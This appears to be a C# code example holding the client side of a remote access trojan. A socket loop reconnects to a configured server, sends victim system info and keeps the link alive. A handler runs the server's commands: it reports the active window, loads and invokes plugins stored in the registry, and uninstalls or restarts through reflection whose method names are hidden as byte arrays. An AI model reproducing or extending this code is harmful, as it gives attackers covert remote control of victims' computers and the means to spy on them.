Beispiel #1
0
 public void Handler(byte[] packet)  //Receive Data from Server
 {
     try
     {
         string   KEY  = Config.key;
         string[] data = Strings.Split(StringConverter.BytestoString(packet), KEY, -1, CompareMethod.Text);
         if (data[0] == "PNC")
         {
             Config.stopwatch.Reset();
             Config.stopwatch.Start();
             Client.TcpSend("PNC");
         }
         else if (data[0] == "P")
         {
             Config.stopwatch.Stop();
             Client.TcpSend("P" + KEY + Config.stopwatch.ElapsedMilliseconds);
             Client.TcpSend("W" + KEY + IdGenerator.GetActiveWindow());
         }
         else if (data[0] == "IE") //Ask about plugin
         {
             if ((Registry.CurrentUser.OpenSubKey("Software\\" + StringConverter.Encode(Config.currentMutex) + "\\" + data[1], true) != null))
             {
                 try
                 {
                     Invoke(Config.host, Config.port, data[4], data[5], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\" + StringConverter.Encode(Config.currentMutex) + @"\\" + data[1], data[1], null).ToString(), int.Parse(data[2]), Convert.ToBoolean(data[3]), data[1], true);
                 }
                 catch
                 {
                     Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false");
                 }
             }
             else
             {
                 Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false");
             }
         }
         else if (data[0] == "LP") //invoke plugin
         {
             Invoke(Config.host, Config.port, data[1], data[2], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), data[3], int.Parse(data[4]), Convert.ToBoolean(data[5]), data[6], Convert.ToBoolean(data[7]));
         }
         else if (data[0] == "UNV") //uninstall - restart - close .. etc
         {
             object ar  = Interaction.CallByName(GetAssembly(data[1]), Encoding.Default.GetString(new byte[] { 71, 101, 116, 84, 121, 112, 101 }), CallType.Method, data[2]);
             object enn = Interaction.CallByName(ar, Encoding.Default.GetString(new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 }), CallType.Method, Encoding.Default.GetString(new byte[] { 85, 78, 73 }));
             object inn = Interaction.CallByName(enn, Encoding.Default.GetString(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, null, new object[] { StringConverter.Encode(Config.currentMutex), data[3], null, null, null, null, null, null, null, null,
                                                                                                                                                                    null, null, null, null, null, null, null, null, null, null,
                                                                                                                                                                    null, null, null, null, null, null, null, null, null, null,
                                                                                                                                                                    null, null, data[4], data[5], Application.ExecutablePath, data[6], data[7], data[8], data[9], data[10],
                                                                                                                                                                    data[11], data[12], data[13] });
         }
     }
     catch
     {
         //Client.isConnected = false;
     }
 }
        private static Array PacketFixer(byte[] bytesArray, string splitter)
        {
            List <byte[]> a  = new List <byte[]>();
            MemoryStream  M  = new MemoryStream();
            MemoryStream  MM = new MemoryStream();

            string[] T = Strings.Split(StringConverter.BytestoString(bytesArray), splitter, -1, CompareMethod.Text);
            M.Write(bytesArray, 0, T[0].Length);
            MM.Write(bytesArray, T[0].Length + splitter.Length, bytesArray.Length - (T[0].Length + splitter.Length));
            a.Add(M.ToArray());
            a.Add(MM.ToArray());
            M.Dispose();
            MM.Dispose();
            return(a.ToArray());
        }
        private static void TcpReceive()
        {
            while (true)
            {
                while (!isConnected)
                {
                    try
                    {
                        memoryStream?.Dispose();
                        keepAlivePacket?.Dispose();
                    }
                    catch { }

                    try
                    {
                        client?.Dispose();
                        //client?.Disconnect(false); // 2.0
                    }
                    catch { }

                    try
                    {
                        client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                        {
                            SendBufferSize    = 999999,
                            ReceiveBufferSize = 999999,
                        };
                        client.Connect(Config.host, Convert.ToInt32(Config.port));
                        isConnected = true;
                        TcpSend(IdGenerator.SendInfo());
                        TimerCallback T = new TimerCallback(Ping);
                        keepAlivePacket = new Timer(T, null, 30000, 30000);
                        memoryStream    = new MemoryStream();
                    }
                    catch
                    {
                        isConnected = false;
                        Thread.Sleep(3000);
                    }
                }

                while (isConnected)
                {
                    try
                    {
                        if (client.Poll(-1, SelectMode.SelectRead) && client.Available <= 0 || !client.Connected)
                        {
                            isConnected = false;
                            break;
                        }

                        byte[] buffer = new byte[client.Available];
                        client.Receive(buffer, 0, buffer.Length, SocketFlags.None);
                        memoryStream.Write(buffer, 0, buffer.Length);
rr:
                        if (StringConverter.BytestoString(memoryStream.ToArray()).Contains(Config.splitter))
                        {
                            Array[] array = (Array[])PacketFixer(memoryStream.ToArray(), Config.splitter);
                            new Thread(() =>
                            {
                                new PacketHandler().Handler((byte[])array[0]);
                            }).Start();
                            memoryStream.Dispose();
                            memoryStream = new MemoryStream();
                            if (array.Length == 2)
                            {
                                memoryStream.Write((byte[])array[1], 0, ((byte[])array[1]).Length);
                                goto rr;
                            }
                        }
                    }
                    catch
                    {
                        isConnected = false;
                        break;
                    }
                }
            }
        }